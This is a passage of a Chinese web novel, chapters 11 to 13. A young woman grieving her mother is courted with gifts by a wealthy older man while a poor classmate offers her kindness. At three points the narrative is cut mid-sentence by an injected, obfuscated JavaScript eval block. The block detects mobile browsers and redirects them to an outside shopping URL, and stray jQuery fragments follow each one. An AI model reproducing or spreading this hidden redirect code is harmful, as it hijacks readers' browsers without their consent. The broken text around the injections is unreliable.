陈雪榆很认真的样子:“学文学理?”
“理科。”
“估了多少分?”
“六百二左右。”
陈雪榆说:“看来你念书不错,有想去的城市吗?”
令冉脸淡掉了:“没有,明天下午我去趟学校,老师们对我很好,我听听他们怎么说。”她像想起什么,“你什么大学毕业?学什么的?”
陈雪榆道:“我在英国念的大学,数学专业。”
令冉问他什么学校,在杂志上见过这学校,她不了解,但是所好学校。
在好学校里学数学,陈雪榆一定很聪明。
“你现在的工作,跟你的专业有关吗?”
“没什么关系,也不能说一点关系没有,学习的过程跟体验还是会影响做事风格的。”
“是你喜欢学的专业吗?”
“算是吧,感觉还好,”陈雪榆第一次说自己的情况,“我现在在家里公司做事。”
“如果有一天,你不想在家里公司做事了,你还能找到别的工作吗?”
“应该能,”他笑笑,“我看着很像不学无术的人吗?”
令冉微笑摇头:“不像,你这样很好,有自己的能力,在哪儿都可以生活,我一直希望自己是这样的,你对学什么专业有看法吗?”
陈雪榆道:“还是理工科吧,热门的金融土木类不见得会一直热,不要什么热就一头扎进去,当然,计算机类这种热门也是可以的,看你兴趣。你对什么感兴趣?”
这样说下去,真是太正经了,很难想象他的邀请是要她一起同居,他此刻太正常人,让两人的关系看上去都干净明亮起来。
陈雪榆显然是有很多社会经验的人,她知道这个世界复杂,但她还没真正参与进去,将来参与不参与不清楚,也许靠着惯性,她一边参与一边旁观着,前提是她一直活着。
如果她长相平平,也许跟眼前人关系真的能……不会的,他不会跟自己有任何瓜葛,令冉想到这,面上还是浅浅的笑意。
“谢谢你的建议,我再听听老师们怎么说。”
陈雪榆又带她去选手机,她也没拒绝,他给她买了苹果手机,说其实秋天会发布新品,到时可以再换。他太慷慨,又肯花时间,诱惑又浓又甜,人都要晕在里头了,一个人要是过惯了这样的日子,是再没法回到从前的。
腐蚀一个人的意志,不用太久,花团锦簇金碧辉煌的日子,玫瑰一样。起初,也许人还会挣扎下,告诉自己绝不贪恋虚荣、富贵,慢慢的,就会离不开了,怎么还愿意自己慢慢挣钱呢?
他的手段常见却高明,永不过时。
令冉握着苹果手机,看那缺口,想起《圣经》里夏娃叫蛇引诱吃下果子,那果子直到今天都还在,她现在就在吃。
11.第 11 章
“我在想,认识你是不是太早了?”
车子在市里开不快,停停等等,一会儿一个红绿灯,外头的楼也是一会儿换一样,店铺的橱窗雪亮,里头晃动人影,那是人家的生活。
陈雪榆声音很低:“不早,在我看来正好。”
令冉想,那倒是,我这么年轻,你的十九岁过去了永远过去了。她暂时挑不出陈雪榆什么毛病,或许有,甚至可能是个变态,人前日下,都得藏一藏装一装。
他现在跟她一点身体上的接触都没有,话也是客气周到的,不紧不慢,像是生命还很漫长。
“你不问问我具体做什么的?”
“我知道你很有钱也很有本事就够了。”
“没有好奇的事情吗?”
“有,但我知道一定会发生,总不会一直这样。”
“有些事,你懂得太早了。”陈雪榆的眼睛暧昧下来,但神情平淡,不会叫人觉得冒犯,“谈过恋爱吗?”
这种时候,多少应该装作害羞或者难为情的,一个腼腆,不知人事的少女,才符合她这个年龄的样子。
她却打探起陈雪榆,他有种沉静的生命力,说话、做事,都让人觉得很舒服,整个人衣冠楚楚。她知道他肯定有过女人,做过那种事,那种事在十里寨稀松平常,她家不远处就是红梅美容店,也不贵,听说一次几十块钱。她见过男人乱摸,又要笑着喘,嘴脸丑陋,眼里的欲望都要溢出打脸上淌下来。
陈雪榆也是男人,他是哪个样子?
令冉心跳又快了,脸微微红着,很容易让人误解。
“没有。”
陈雪榆笑笑:“看来你没有问我的打算?”
令冉说:“那是你的事,我们不认识之前,你有你的生活,跟我毫无关系。”
陈雪榆道:“我们现在有关系了。”
令冉的目光停在他手背上,青筋突出,特别有力量,她是一下明白他之前那句“希望不会让你失望”是什么意思,这双手,会抚摸她。
她在没发生之前,先一步又懂了。
陈雪榆像极有耐心的猎人,不轻易动手,他很有礼貌地把她送回来,约定下一次见面,正好碰上五奶奶,解释说自己是令家的一个朋友,这显然不合理,但他那个语气、神态,仿佛一切都变得合理起来。
没听说过令家有这样的朋友。
五奶奶有疑虑,问令冉:“冉冉这小伙子是谁呀?”
“以前认识的。”
“怎么没见过?”
“之前来往少,听说我妈的事后才又联系上的。”
令冉撒谎手到擒来,说的那样连贯、自然,谁要是再怀疑,简直是在伤害她。
好了,五奶奶不问了,令冉要去睡觉,现在真好,想睡大觉就去睡,没有课要听,没有习题要做。
这一觉睡得太久,西边还残留一点余晖,窗户那成迷迷的灰,风扇转着,身上热得恍恍惚惚,似乎是嗅到上海芦荟皂的味儿,令冉喊了声“妈”。
不是家里,五奶奶从她家超市买的芦荟皂刚拿出来用。
房子跟人俱灭,肥皂居然刚新拆,令冉回过神,想起十里寨以前的事。是哪一年的哪天,晾好衣裳的人出门遇到车祸死了,家人回来,那衣裳还没干,尚且不死,人却不在了。那家做子女的,抱着衣裳在阳台哭。
她连抱件衣裳的机会都没有。
电饭锅里煮着绿豆汤,咕嘟咕嘟顶起盖子,五奶奶问她:“冉冉加冰糖不?”
还有人问她这样的话,在这样的黄昏里,令冉眼里没泪,堵嗓子里,水汪汪淹着。她连这老人也要舍弃了,再可亲却不是她的,令冉回应说:
“加一点吧。”
五奶奶很高兴了,这孩子还愿意吃,愿意喝,心量大才能继续过日子。
做生意的渐渐搬走,大排挡还在,黄昏一落下来,三五人聚在那里吃烧烤,烤羊肉,烤土豆片,桌子上摆着一盘水煮毛豆,几只狗在旁边摇尾巴。
烤的气味打窗纱钻进来,又香又呛,这些人说话的声音大,不遗余力弄到半夜,好像全世界的声音都在十里寨,它容纳着,流动着,似乎也没谁真正要去投诉扰民,大家一向互相干扰着。
令冉习惯这样的声音,躺床上辨别人家说的什么。
碰到外地人口音,一个字也听不明白,但调子昂扬,话又碎,真是热闹,生命怎么能这样热闹呢?
第二天令冉找家网吧查分数,一进门,滂沱的臭气往大大小小亿万个毛细孔里流窜,坐那么一会儿,衣服、头发,全都臭了。这样污秽的地方,坐着许多人,面上闪动快活的光,好像生命这么污秽地快活着也很好,真是怎样活的都有。
分数要比预估的高一点点,仿佛是买东西的赠品。
老板凑过来,问她考了几分,眼睛已经瞄到那个数字,文盲也要赞一句“高材生”。
大约是中午,冯经纬抽空来一趟,特地问她分数。
“太好了,恭喜你!”冯经纬比她要高兴。
有什么喜可恭贺的呢?令冉无动于衷,脸上作出个荒漠般的笑。冯经纬的笑则蓬松着,头发很有光泽,跟着笑一跳一跳的,他尚带点大男孩的气息,很感染人,要请令冉吃饭。
“不用破费了,其实应该我请你,可惜现在没钱。”令冉想了想,“有情后补吧,虽然我也不知道什么时候。”
冯经纬连忙表示:“不破费,咱们简单吃点,有想吃的吗?”
令冉还是拒绝了,她知道他是普通人,普通人里明亮的好人,她不愿他陷入一种梦打在身上的错觉,对他不公平,他已经帮不到自己什么了。
她下午来学校,学校速度真快,已经扯上横幅,上面有个男生的名字,是本校的状元。她觉得这名字眼熟,在校园里走几步便迎上他,令冉想起来了,这是高一没分班时的男同学,个子不高,也不怎么讲话,别人请教题目时笑笑地解答。
“考得怎么样,令冉?”
孙信璞显得成熟,倒不是长得老,他做什么都很稳重,五官不出彩,但组合有种奇异的和谐,好像这样的脸型上,就该长着这样的眼睛、鼻子、嘴巴,跟他擅长的数学学科一样严谨。
他们做同学一年,说过的话不超过十句。
令冉道:“跟估计的差不多,我看到你名字了,真好。”
孙信璞家庭普通,也许有点穷,因为他总是穿校服,在食堂吃饭,过得俭省。他身上却一点穷酸气都没有,他应当很自洽。
“你呢?”
“比你少四五十分吧。”
“我猜你应该也不错,想好报什么学校了吗?”
令冉笑一笑,她在孙信璞脸上看到一种明确来,特别清晰,好像叶子上的脉络,要往哪里长往哪里茂盛都信誓旦旦的。
“你一定有光明的未来。”
孙信璞听到这样的答非所问,像是习惯了,他早知道她与众不同。
“你一定也有。”
“是吗?我自己不知道。”她抱歉笑笑,“今天是个好日子,不该说丧气话。”
“没关系,你相信我,你一定能立一番事业的,只要你想。”孙信璞如此笃定,他讲话也跟其他男同学不大一样,他不幼稚,也不容易亢奋,少年老成。
令冉还是笑:“你要到哪里念书?”
孙信璞说:“想报上海交大,学电子与计算机工程,很早之前就决定好的。”
这样的男孩子要走一条很光明很光明的路,他聪明、勤奋、不毛躁,她有各式各样的同学,风华正茂,都要往自己的路上继续走了。
“能留你个联系方式吗?比如□□,你上网吗?”孙信璞说话一点不刻意,自然而然就这么问了,令冉摇摇头,“我没有,也不怎么上网。”
“我帮你申请一个,要吗?”
令冉无可无不可,她点点头:“都行。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759616|188874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孙信璞是知道她家里事的,低声道:“令冉,你一定要振作起来,你是我见过的最聪明的女生,人的伤口会慢慢愈合的,我们不熟,说这些可能太突兀了,但是我的真心话。”
他们是站在松树下说话的,热风很强,松针上闪着光,落在孙信璞旧旧的领子上,一摇一曳,令冉看那动着的影子微微笑了:“谢谢你。”
孙信璞继续道:“我们以后可能也未必有太多联系,高考一结束,大家各奔东西,以后各自有什么际遇很难说,我希望,万一你遇到什么难处能偶尔想起来当年有人跟你说过这样的话,别灰心。”
做同学一年,当校友三年,也没这一会儿说的话多,好像机不可失,要把一辈子的话讲完似的。才开了个头,就要结尾,孙信璞心海浮上薄薄的悲哀,他比同龄人多思,想的远,他希望自己对她有那么一点意义。
令冉没想到他会说这些,微觉诧异,她打量起孙信璞的眼睛,说道:“谢谢你对我的善意,我记着了。”
孙信璞还要说什么,令冉手机响了,这声音对两个几乎不接触手机的人来说都有点陌生,也许有铃声的缘故,也是陌生的。大人们的手机铃声很爱用流行的《荷塘月色》,几乎人人能唱。
几年前刚念高一的时候,一本杂志要传遍全班,那纸张色彩美丽,背面印满时下最火热歌曲,告诉移动和联通用户可以编辑发送信息下载彩铃,最吸引人的,是那句“使用本页任何服务,有机会获得一部价值4580块钱的手机,月月抽奖”,真是太诱惑。
半大的孩子,以为人生中最大的诱惑莫过于此了。
可学生们鲜少人拥有手机,若偷偷给父母下载彩铃,被发现话费多了,肯定要挨骂。这个奖品,三年里只在杂志见过,无一人中奖。
此时又有不同,要去念大学,该买一部手机。
孙信璞认得苹果标志,心里猛一震动,比令冉听他那些话要意外。令冉倒不去接,看着上头闪动的“陈”字,跟孙信璞说:“我先到办公室找老师。”
她戴着平顶草帽,跟电影里的人物似的,裙子飘飘地远去。孙信璞记得她一直很朴素,这一刻,好像突然使用起她的漂亮来了。他的脸上,沉沉罩上一种少年人特有的沉思。
令冉把电话拨回去,接通了,不急着说话,要等陈雪榆的声音响起来。
“是令冉吧?”他的声音在电话里深沉了,像黄昏下去。
令冉说:“是我,刚跟同学说话,不方便接,是要问我分数吗?比估的高几分。”
她四平八稳的,换作旁人,早雀跃地一蹦多高,一家人抱一块儿,喜眉喜眼高兴死了。
人明明避讳死,但寻常里又爱带着“死”,热死,冷死,气死,高兴死了,痛苦死了,不见得真到了那个极致,但“死”缀在后头,一切都强有力起来,是另一种生命感。
陈雪榆说:“这么好,报志愿的话,我可以帮你找专门的老师。”
令冉想,这人身上的好处这样多,样样都是有价格的。
“我们学校有的老师就可以,很负责,谢谢你替我想着这个事。”
“晚上一起吃饭,忙完告诉我,我来接你。”陈雪榆说话的腔调依旧动听,也不强势,但措辞是说一不二的。
这大约就是代价的开始,她应该有这种自觉,配合人家行使支配自己的权力。
令冉却问:“我能拒绝吗?我有事没做完。”
她要得罪他了,下一刻,陈雪榆很痛快回道:“当然,我不喜欢强迫别人,今天不行可以改天。”
“你会不高兴吗?”
“你听出我有不高兴的意思?”
他心里确实没什么不悦,只有付出时间、金钱,甚至是情绪的成本获得的快感才有价值,成本越大,快感越强烈,这其中的障碍越高,也更快活。陈雪榆不喜欢免费的东西,他的欲望对象,仿佛不是令冉,仅仅只是欲望自身。
12.第 12 章
令冉离开学校的时候,还是热,却又没到最热的时候,白昼这样的长,跟头发一样,在风里不断吹长着,吹长着,竟然还没到最长的那一天。
几个世纪都过去了似的。
其实有同学约她吃晚饭,平时关系稀松,她总是独来独往,在人眼里像段神秘隐晦的故事,没头也没尾。许多同学一样的没头没尾,这所学校收了不少户籍不在本地的学生,打异乡来,又到他乡去。
约她的是男同学,哎,男同学,爱打篮球的身体,郁葱的黑发,虎虎的青春。这些她都不感兴趣,一眼望过去,看完了,白水一样的男同学。
她随便坐起公交,有段路开始围了半边,说是要修地铁,年底就能开通。令冉在这座城市住了好些年,实则困在十里寨和学校,世界仿佛就那么大。其实城市大得很,在北方算发展好的,欣欣向荣,一个时代正努力长着,高楼起来,道路起来,连十里寨的租户都越来越多,直到要拆迁。
时代不长,也轮不到十里寨拆房子,旧的不去,新的不来。
后来又路过一处,要盖新楼盘,百业待兴的样子,但地上只有大沙堆,就在这新旧更迭的空隙里,沙堆上开着黄色的油菜花,分明不是油菜的时令,它居然开花,稀稀拉拉几株,抓紧开,开得紧迫,有巨大的危机感。
是判断错时令了吗?植物难道跟人一样,有犯错的时候?
铲车一过来,它们会被连根拔起,那也无所谓,生命来过了。
不晓得哪天再路过,就是打好的地基,戴着安全帽的工人走来走去。令冉隔着玻璃,黄花几乎是一闪而过,命运却一目了然。
下了车,真是难受,夏天就是这样,下雨潮热,不下雨,地面干燥的像存着燃烧的欲望,烫的地气,直扑打裸露的小腿肚。
一路走,都有人看她几眼,这样的情形,大约从十三四岁开始便有,她那时就是大姑娘的模样。进了十里寨的街道,男人冲她吹口哨,不三不四的,她目不斜视,只觉得厌烦,倘若你看他们一眼,他们就要凑上来,他们没有判断的能力,没有温柔,没有情意,只有动物的本能,当然不配得到爱,得到女人。
但藏在十里寨深处的房子里,性是很容易得到的。
他们把性和爱、女人混成一样东西。
令冉太熟悉这样的男人们,她要躲开,她觉得恶心,却不憎恨,她想到陈雪榆的脸、身上的味道,把口哨声隔绝掉了。
五奶奶做的凉面,人老了,脑子不浑,还能做饭,没什么大毛病,应当知足了,五奶奶现在就很知足。吃完饭,令冉洗刷过后,跟她说了会话。
“我这两天要搬走了,去一个亲戚家。”
五奶奶狐疑:“哪个亲戚家?”这是没听说过的。
令冉平静说:“远房亲戚,最近联系上了,您也不能一直住这儿,这段时间,我给您添麻烦了。”
五奶奶怀里抱着猫,猫咕噜噜的,不晓得在念什么经。
她一下一下顺猫脊背:“是那天送你来的人?”
令冉嗯一声。
五奶奶说:“看着怪年轻,他家里都有啥人?”
令冉不知道,什么都不知道。
“一大家人,暂时住着,等开学我就去念书了。”
五奶奶眼睛花了,心是不花的,她提醒令冉:“亲戚远了,又有年轻小伙子,你得长个心眼。”
令冉说:“我懂,会注意的。”
“还是不大稳妥,一大家人更不知人心里头怎么想,别是打钱的主意。”
“他家里有钱。”
“有钱也能打钱的主意,谁嫌钱多呢?”
“不要紧的,不是长住,我也不是小孩会分辨人。”
“你才多大哪,冉冉,就是活一辈子也不敢说啥人都能分辨出。”
五奶奶像害了沙眼要流眼泪,她叹口气,指向床头。床头贴着硬纸,上头写了三个硕大的号码,那是女儿的。她问令冉有没有亲戚的号码,加到那纸上去。
令冉伸手摸了摸猫:“我有空回来看您再添上。”
那串号码永远不会添上,她知道,但要给人正常的回应。她不喜欢跟人牵绊太深,妨碍自由,这是老街坊,情感上纯度已然最大,但老街坊的生理年龄也这样老了,一身暮气,她不是那种能热情跟老人聊家常的人,无法带给老人什么快乐,死亡的暮气笼罩着这暗暗的屋子……猫突然打老人怀里跳走,左看看,右看看,就是没有回头,跑出去了。
这是散养的猫,在家待不住,它不怎么依赖人。方才肯躺怀中一会儿,叫人摸一摸,仿佛都已经给天大的面子了。
五奶奶静静看她半晌,又问:“真要走?”
令冉回望她,老了的眼睛这样深,孤独也藏得这样深,人为什么要执着地问一个知道答案的问题呢?太悲哀了,她慢慢点头。
五奶奶喃喃:“你那会才这么高,转眼要念大学,你妈命不好……”她抬起手,擦了擦眼角,手背上的皮肤在白的灯光下黑黝黝的。
令冉心道,别说了,别说了。她只是安静坐着。
再后来,五奶奶打起瞌睡,头垂着,令冉把电视机打开,让声音出来。这是老人的习惯,家里要有声,没人就让电视机闹点动静。有时夜深了,灯关掉,沙发上躺着浅睡的老人,电视屏幕的亮光在她脸上,一会儿深,一会儿浅,她在声音里得到种人的气息。
这有什么意思呢?活到这一步到底乐趣在哪儿呢?她有孩子,但孩子要长大,如鸟离林,她的伴侣早已过世,她要吞一秒一秒的孤单,即使伴侣在,两人又要说什么,做什么?这样老了,电视里演的什么都看不懂了,世界也变得越来越难懂。
楼下大排挡依旧热闹着。
那香辣的气味儿,还是要往鼻孔里呛,就是这样闹哄哄的,她闭上眼,黑暗里热闹着,近且远,窗子灰苍苍的,永远无法真正灭似的。
睡不着觉,她收拾起东西。
东西很少,一个书包装完了。旧衣服肯定是不要的,也没法还同学,那就更没什么可拿的了,好像活了快二十载,只这么个人,什么身外之物都没有。
连这个身体好像都不太熟。
天还很早很早,卖早点的便开始忙活了,灯光照着,男人在和面。他和面的时间跟昨儿个一样,动作也一样,似乎那样的门头下,灯光里,就该站着一个和面的男人。令冉起的也很早很早,她出来买粥,买包子,站白气里看人家挣辛苦钱。
旁边打印出好大一张纸,孤零零几个字:最后三天营业。
这人不晓得往后到哪里和面。
附近大喇叭循环播放着一个机械男音:“请主动搬离,以免给您的经营和财产造成损失。请主动搬离,以免给您的经营和财产造成损失。”
顾客伸着头问:“搬哪儿去?好找不?”
这人笑:“城里那么大,还能没和面的地方?林庙找好门面啦!”
听这笑声,跟和面的手一样,充满了大力气。
“令冉,令冉?还真是你,买早饭吗?”
孙信璞叫她,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768873|188874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样早,他怎么来十里寨了?令冉见他怀里抱着盆太阳花,问道:
“你来找人?”
孙信璞落落大方:“找你,我看家里这盆花开的最好,就给你送来了。”他手转了一转,“盆有个豁口,你别介意。”
“你家养花?”
“我家卖花盆,瑕疵大的没法卖,我妈就撒点花种子,随便它开不开的。”
令冉接过来:“这花开的真鲜艳,好看,谢谢你想着我,吃饭了吗?”
孙信璞没吃,令冉给他买了一份包子,一杯豆浆。
“我住邻居家,家里只有一个老奶奶,你要坐坐吗?”
她的同学大都很能吃苦,站着吃,蹲着吃,怎么吃都成,孙信璞也是这样的,他站路边,连带灰尘也咽的下去。
“不了,我还得回去,跟我爸一块卖西瓜。”
“不是卖花盆的吗?”
“顺带一批花盆,主要是卖西瓜。”
“中午再回来?”
“不好说,什么时候卖完什么时候回家,有可能在外头过夜。”
“睡哪儿?”
“路边,我们带纸壳子了,我爸一直这么睡的。”
“挣钱吗?”
“不怎么挣钱,运气不好还可能倒贴。”孙信璞笑着说,他毫不掩饰,也不觉得这样的家庭有什么不能说的,“我爸妈都没什么大本事,只能这样,不过他们已经尽了全力。”
那倒是,谁愿意做赔本买卖?也不晓得好赚钱的事叫谁做了。
令冉道:“等你工作了,你爸爸妈妈就不用这么辛苦了。”
孙信璞道:“我也这么想的,你暑假怎么过?一直住邻居家吗?”
令冉道:“不是,我要搬一个熟人家里去,暑假干什么我还不太清楚,你也看到了,十里寨马上要拆迁,”她觉得在孙信璞面前可以说真话,他是个很好的男同学,正派,不骄傲也不自卑,她莫名信任他,“我大概会发财,到时请你吃大餐?”
孙信璞笑了,他神情里没有羡慕,更没有嫉妒,他像是发自内心替突然暴富的同学高兴,他在自己的轨道上,脚踏实地往前行进着,从不怨天尤人。
“好啊,我其实有个建议,你应该问问老师,这个钱要怎么保管安全,老师一定不会欺骗你。”
令冉认真瞧了他一会儿,孙信璞是很老成,也很镇定的男孩子,但她这么看他,他耳朵很快热了。
“孙信璞,你爸爸妈妈一定是很好的人,你也是,我希望你们以后能过好日子。”
孙信璞喉间哽咽了下,非常突然:“你今天跟我说的,我可能永远都没法忘了。”
令冉也笑:“不至于,你听的夸奖还少吗?好了,你要跟爸爸一块儿卖西瓜,我不耽误你们做生意了,这盆花我会好好养的。”
孙信璞点点头:“好,你一定好好养。”
他像交给她一项多重要的任务似的。
令冉道:“走吧,这么热的天,还得去吃苦。”
孙信璞说:“你不用再吃苦了,好好生活。”
令冉直言:“对,我不用再吃苦了,也不愿意吃苦。”
孙信璞若有所思,总觉得她话里有话,他只能走,他身上短袖乌了,似乎很难洗干净,领口垮着,但他走路的背很直,是个很有精神的人,令冉看他半路又转头摆手,回应了几下。
她明白孙信璞喜欢自己,也拒绝了他,希望他能听懂,她不需要一个正派善良的好同学。
刚过早饭的点,陈雪榆过来了。
13.第 13 章
他跟五奶奶道了几句客气话,搁下几样礼物,也不管四邻怎么在那张望。
令冉坐进车里,一个非常凉爽清芬的空间,干净,舒适,她想起昨晚的猫,或许会抬眼左看看,右看看,但不能回头。
人回头是心软,是留恋,她不是一点这样的心情没有,而是不愿意让心情泛滥。
同学也有住这儿的,土生土长,一面盼着赶紧拿钱,住新的好的楼房;一面又舍不得,墙上还留着当年没洗手按的印子,小饭馆香得要命,水果摊,澡堂子……这样熟悉的十里寨,住过童年,也住过少年,电线再乱,垃圾再多,它是十里寨。同学说的时候,眼睛都要淌水了,听的人也要跟着难受,这是城中村人的乡愁,乡愁成了贴满墙的小广告,很难清除干净。
那又怎么样呢?这是时代的河,要涨潮要泄洪似的,它一过来,注定要将人的痕迹给抹去,太容易了。年轻人会老,新的年轻人会再来,反正这样大的城市,不会缺年轻人,所以永葆青春。
永葆青春,就得吸年轻人们的鲜血,灵魂,就连鬼故事里神怪们也不要老朽的凡人。
令冉没有回头看一眼。
陈雪榆留意到她的东西:
“我看你带了盆花,那位奶奶种的?”
令冉回神:“不是,早上一个同学送来的。”
“男同学?”
“对,他应该是喜欢我,所以才会那么早送花。”
这样的话,从一般人嘴里出来,难免自恋。
令冉说不一样,她怎么说都对,都不会损害她的形象。
陈雪榆瞥一眼花:“好像路边有这种花,很常见。”
令冉道:“他家里条件不太好,但已经把家里开最好的给我了,花常见不常见不重要。”
陈雪榆微笑起来:“是,把最能拿出手的送你,贵在心意。”
“你呢?你这样的最能拿出手的是什么?”
令冉仿佛跟他不见外了,真是快。
陈雪榆道:“还没人这么问过我,让我想想。”
他那样子,当真像在思考。
“钱和时间。”
他补充说,“希望没让你觉得俗气。”
令冉沉默摇首。
多少男人要钱没钱,也没有时间,他们的钱跟时间在哪里,鬼晓得。
令冉岔开话题问道:“你家大吗?我需要单独的一间房。”她的一个老师住市区,两室一厅,双胞胎儿子只能挤一间卧室。
陈雪榆道:“可以选,二楼三楼都有空房间,三楼视野更好点。”她要求提得特别自然,没什么不好意思。
“你住哪一层?”
陈雪榆莞尔:“二层,心里会觉得害怕吗?”
“在你的认知里,这样的事应该很常见,更何况,你是有钱人。没钱都可能发生这种事,我见过,所以没觉得很害怕。”
“你很早熟,说话也总是让人难以反驳,好像什么都看透了。”
“我没有看透什么,我要是真看透,现在应该去死,一了百了,而不是坐你车里。”
车里沉寂了那么一会儿。
令冉道:“我以为你要转折一下说教。”
陈雪榆道:“没这个习惯,我邀请你,不是要做你人生导师的。”
令冉微微露出点笑的意思:“在我之前呢?你邀请过别人去你家里住吗?”
他说没有,那种神情显然是不屑撒谎也没必要撒谎的。
“你有变态嗜好吗?”
陈雪榆目光闪烁起来:“什么叫变态嗜好?”
令冉依旧镇定:“比如虐待人,你比我懂。”
“如果有呢?你还要不要去?”
“那就是没有了,假设无意义。”
“你不怀疑怀疑?我说什么,你就信什么?”
“我这个样子,你应该很高兴才对,显得我蠢,好控制。”
“我并不喜欢蠢人,如果你真的脑袋空空,我也很难高兴。”
她莫名想笑:“你好像没那么肤浅啊。”
“我看着像很肤浅的那种人?”他也笑,“那真是糟糕,书白念了,健康点的爱好也白培养了。”
文雅的爱好?令冉没见过男人有什么健康爱好,不健康的倒常有,抽烟、喝酒、浑身臭烘烘地吹牛皮,没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776859|188874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
办法,谁叫她在十里寨长大。男老师们好些,但有种苦大仇深的气质,太苦了,做学生就那样辛苦,起得比鸡早,睡得比狗晚。好不容易做了人家的高中老师,继续这样,要看学生早读、晚自习,还是鸡狗生活。
陈雪榆体验到一种新的心情,一点都不糟糕,男女之间这种诱惑,赏心悦目,还要费点心力,动动脑筋,棋逢对手最好不过。节奏慢有节奏慢的妙处,他一直都太紧凑,赶得要命,慢下来是头一回。
令冉心道,他也许是个有趣的男人,一点点就够了,太诙谐不庄重,偶尔为之的幽默,才正正好。
“你是健康的人吗?”
“你看呢?”
令冉笑笑,他身上没浊气,眼睛有神采,心里头健康不健康,难说。
“最起码这会起来很健康。”
“你呢?”
“你是指哪方面?”
“刚刚你问我指的哪方面,我就指哪方面。”
令冉莞尔,陈雪榆是有趣的,他好处很多,她有时间去领教他的任何好处。
她其实有些困倦,昨夜没睡好,便把脑袋一靠:“我想休息一会儿。”
真是奇怪了,头歪过来,车里的香皂味儿重一瞬,和她初次坐又不一样了。细究起来,每次都不同。这一回,是冷落的味道,类似于家中超市卖不掉的那一款,买的人极少,肖梦琴后来也不再进货。
令冉却平等地喜欢过每一种香皂。
超市有超市的味儿,一进门,就知道是超市。糖果、饮料、日用品,她把每种香皂的包装都画下来,深深嗅过。
“你车里的香皂总在换?”
陈雪榆看过来一眼:“你嗅觉真敏锐,确实经常换。”他在等红路灯的空隙间,转身想捞毯子,人一动,味道便跟着动了,或许是太近的缘故,令冉觉得他身上也是这个味儿,低声问,“你用了是不是?”
陈雪榆俯视于她,手缓缓停在副驾驶的靠背上。她眼神有些迷离,显得暧昧,气氛、情绪,仿佛一下也起来了,是接吻的好时候,他只是轻笑,笑里似乎也沾染了这个味道,扑向脸面:
“闻出来了?”